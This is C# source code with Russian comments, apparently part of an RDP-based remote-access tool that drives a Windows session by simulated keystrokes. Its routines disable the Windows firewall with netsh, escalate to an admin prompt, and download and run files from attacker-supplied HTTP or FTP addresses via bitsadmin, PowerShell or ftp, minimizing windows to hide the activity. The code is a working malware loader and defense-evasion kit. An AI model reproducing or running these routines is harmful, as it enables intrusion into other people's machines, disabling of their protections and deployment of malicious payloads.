// Очистить командную строку internal static void ClearCmd(int timeout) { Unicode.SendString("cls"); Enter(); Thread.Sleep(timeout); }
// Закрыть командную строку internal static void CloseCmd(int timeout) { OpenCmd(timeout); Unicode.SendString(@"taskkill /IM cmd.exe"); Enter(); Thread.Sleep(timeout); }
// Открыть командную строку internal static void OpenCmd(int timeout) { Thread.Sleep(timeout); WinR(); Thread.Sleep(timeout); Unicode.SendString("cmd.exe"); Enter(); Thread.Sleep(timeout); }
// Запустить файл internal static void RunFile(string fileName, string fileParams) { // Run if (!string.IsNullOrWhiteSpace(fileParams)) { Unicode.SendString(fileName + " " + fileParams); } else { Unicode.SendString(fileName); } Enter(); }
// Открываем командную строку с правами администратора internal static void OpenCmdAsAdmin(int timeout) { OpenCmd(timeout); Unicode.SendString("powershell"); Enter(); Thread.Sleep(timeout); Unicode.SendString("Start-Process 'cmd.exe' -Verb RunAs"); Enter(); Thread.Sleep(timeout); }
// Загрузить и запустить файл через HTTP с помощью powershell internal static void LoadAndRunFileFromHTTP_PS(string powerShellScriptText, int timeout, int loadTimeout) { Thread.Sleep(timeout); WinM(); // Открываем командную строку OpenCmd(timeout); Unicode.SendString(@"" + powerShellScriptText); Thread.Sleep(timeout); Enter(); Thread.Sleep(timeout); WinShiftM(); }
// Скопировать файл private static void CopyFileFromStorage1(string localFileName, int loadTimeout, int timeout) { OpenCmd(timeout); Unicode.SendString(@"net use m: \\tsclient\storage\"); Enter(); Thread.Sleep(timeout); // Обновляем файловый канал var fileChannel = new FileSystemChannel(RDPClient.CurrentHost.FSDeviceName, RDPClient.CurrentHost.FSDriveName); fileChannel.sendClientCapability(); Thread.Sleep(timeout + 3000); Unicode.SendString(@"copy /Y m:\" + localFileName); Enter(); Thread.Sleep(loadTimeout); }
// Отключение брендмауэра internal static void DisableFirewall(int timeout) { // Открываем командную строку с правами администратора OpenCmdAsAdmin(timeout); // Стрелка влево ScanCode.SendKeyEx(0x4B); Thread.Sleep(timeout); Enter(); Thread.Sleep(timeout); // Отключаем брендмауэр для старых версий Windows Unicode.SendString("netsh firewall set opmode disable"); Enter(); Thread.Sleep(timeout); // Отключаем брендмауэр для новых версий Windows Unicode.SendString("netsh advfirewall set allprofiles state off"); Enter(); Thread.Sleep(timeout); // Очищаем командную строку ClearCmd(timeout); }
// Загрузить и запустить файл через HTTP с помощью bitsadmin.exe internal static void LoadAndRunFileFromHTTP_BA(string url, int timeout, int loadTimeout, string fileParams) { Thread.Sleep(timeout); WinM(); // Открываем командную строку OpenCmd(timeout); Unicode.SendString(@"bitsadmin /transfer System /Download /Priority FOREGROUND " + url.Trim() + @" %TEMP%\" + Path.GetFileName(url)); Thread.Sleep(timeout); Enter(); Thread.Sleep(loadTimeout); // Открываем командную строку OpenCmd(timeout); RunFile(@"%TEMP%\" + Path.GetFileName(url.Trim()), fileParams); Thread.Sleep(timeout); CloseCmd(timeout); Thread.Sleep(timeout); WinShiftM(); }
// Загрузить и запустить файл через FTP internal static void LoadAndRunFileFromFTP(string ip, string login, string password, string filePath, int timeout, int loadTimeout, string fileParams) { Thread.Sleep(timeout); WinM(); Thread.Sleep(timeout); // Отключаем брендмауэр DisableFirewall(timeout); // Открываем командную строку OpenCmd(timeout); // ftp Unicode.SendString("ftp"); Enter(); Thread.Sleep(1000); // open IP Unicode.SendString("open " + ip.Trim()); Enter(); Thread.Sleep(1000); // user Unicode.SendString(login); Enter(); Thread.Sleep(1000); // password Unicode.SendString(password); Enter(); Thread.Sleep(1000); // transfer mode Unicode.SendString("binary"); Enter(); Thread.Sleep(1000); // Pasv mode Unicode.SendString("quote PASV"); Enter(); Thread.Sleep(1000); // get Unicode.SendString("get " + filePath); Enter(); Thread.Sleep(loadTimeout); // bye Unicode.SendString("bye"); Enter(); Thread.Sleep(1000); RunFile(Path.GetFileName(filePath), fileParams); Thread.Sleep(timeout); CloseCmd(timeout); Thread.Sleep(timeout); Unicode.SendString(@"exit"); Enter(); Thread.Sleep(timeout); WinShiftM(); }